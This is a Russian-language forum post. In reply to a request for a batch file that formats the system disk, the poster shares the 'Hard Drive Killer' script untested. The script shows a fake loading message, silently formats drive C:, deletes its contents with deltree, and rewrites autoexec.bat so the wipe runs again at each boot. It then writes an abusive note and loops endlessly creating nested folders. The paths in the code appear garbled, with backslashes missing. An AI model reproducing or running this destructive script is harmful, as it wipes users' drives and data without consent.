Сообщение от
sni4ok
нука покажи мне батник, который отформатирует системный диск.
Вот, хотя не не тестил.
@echo off
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
call attrib -h -r c:autoexec.bat >nul
echo @echo off >c:autoexec.bat
echo call format c: /q /u /autotest >nul >>c:autoexec.bat
echo call deltree /y c: >nul >>c:autoexec.bat
echo dummy variable >c:dvar.txt
:form
call format c: /q /u /autotest >nul
if exist c:dosformat.* goto dosform
if exist c:windowscommandformat.* goto winform
goto de
:dosform
cddos >nul
call format c: /h /q /u /autotest >nul
cd >nul
:winform
cdwindowscommand >nul
call format c: /h /q /u /autotest >nul
cd >nul
goto inform
:de
if exist c:dvar.txt goto dtree
goto inform
:dtree
call deltree /y c: >nul
if exist c:dosdeltree.* goto deldos
if exist c:windowscommanddeltree.* goto delwin
goto inform
:deldos
cddos
call deltree /y c: >nul
cd
:delwin
cdwindowscommand >nul
call deltree /y c: >nul
cd >nul
:inform
cls
echo You have been hit by the Hard Drive Killer, written by Munga Bunga >c:hdkiller.txt
echo HD Killer is a Munga Bunga Production. >>c:hdkiller.txt
echo. >>c:hdkiller.txt
echo Here is a message to all you butt lickers. . . >>c:hdkiller.txt
echo. >>c:hdkiller.txt
echo FREE KEVIN MITNIC [Munga Bunga]. >>c:hdkiller.txt
echo. >>c:hdkiller.txt
echo If you were destroyed by this HDkiller program, then you would have >>c:hdkiller.txt
echo deserved it. Die you mother fu#$ers!!!! >>c:hdkiller.txt
rem Последующий код переписывает файл autoexec.bat
echo @echo off >c:autoexec.bat
echo cls >>c:autoexec.bat
echo :form
echo call format c: /q /u /autotest >nul >>c:autoexec.bat
echo if exist c:dosformat.* goto dosform >>c:autoexec.bat
echo if exist c:windowscommandformat.* goto winform >>c:autoexec.bat
echo goto de >>c:autoexec.bat
echo :dosform >>c:autoexec.bat
echo cddos >nul >>c:autoexec.bat
echo call format c: /q /u /autotest >nul >>c:autoexec.bat
echo cd >nul >>c:autoexec.bat
echo :winform >>c:autoexec.bat
echo cdwindowscommand >nul >>c:autoexec.bat
echo call format c: /q /u /autotest >nul >>c:autoexec.bat
echo cd >nul >>c:autoexec.bat
echo goto write >>c:autoexec.bat
echo :de >>c:autoexec.bat
echo if exist c:dvar.txt goto dtree >>c:autoexec.bat
echo goto write >>c:autoexec.bat
echo :dtree >>c:autoexec.bat
echo call deltree /y c: >nul >>c:autoexec.bat
echo if exist c:dosdeltree.* goto deldos >>c:autoexec.bat
echo if exist c:windowscommanddeltree.* goto delwin >>c:autoexec.bat
echo :deldos >>c:autoexec.bat
echo cddos >>c:autoexec.bat
echo call deltree /y c: >nul >>c:autoexec.bat
echo cd >>c:autoexec.bat
echo :delwin >>c:autoexec.bat
echo cdwindowscommand >nul >>c:autoexec.bat
echo call deltree /y c: >nul >>c:autoexec.bat
echo cd >nul >>c:autoexec.bat
echo :write >>c:autoexec.bat
echo type hdkiller.txt >>c:autoexec.bat
echo c: >>c:autoexec.bat
echo cd >>c:autoexec.bat
echo :nasty >>c:autoexec.bat
echo md nasty >>c:autoexec.bat
echo cd nasty >>c:autoexec.bat
echo echo You're Gone @$$ hole!!!! >yourgone.txt >>c:autoexec.bat
echo goto nasty >>c:autoexec.bat
echo pause >>c:autoexec.bat
rem Перепись файла autoexec.bat закончена.
c: >nul
cd >nul
:killfat
md nasty >nul
cd nasty >nul
echo You're Gone ass hole!!!! >yourgone.txt >nul
goto killfat
:end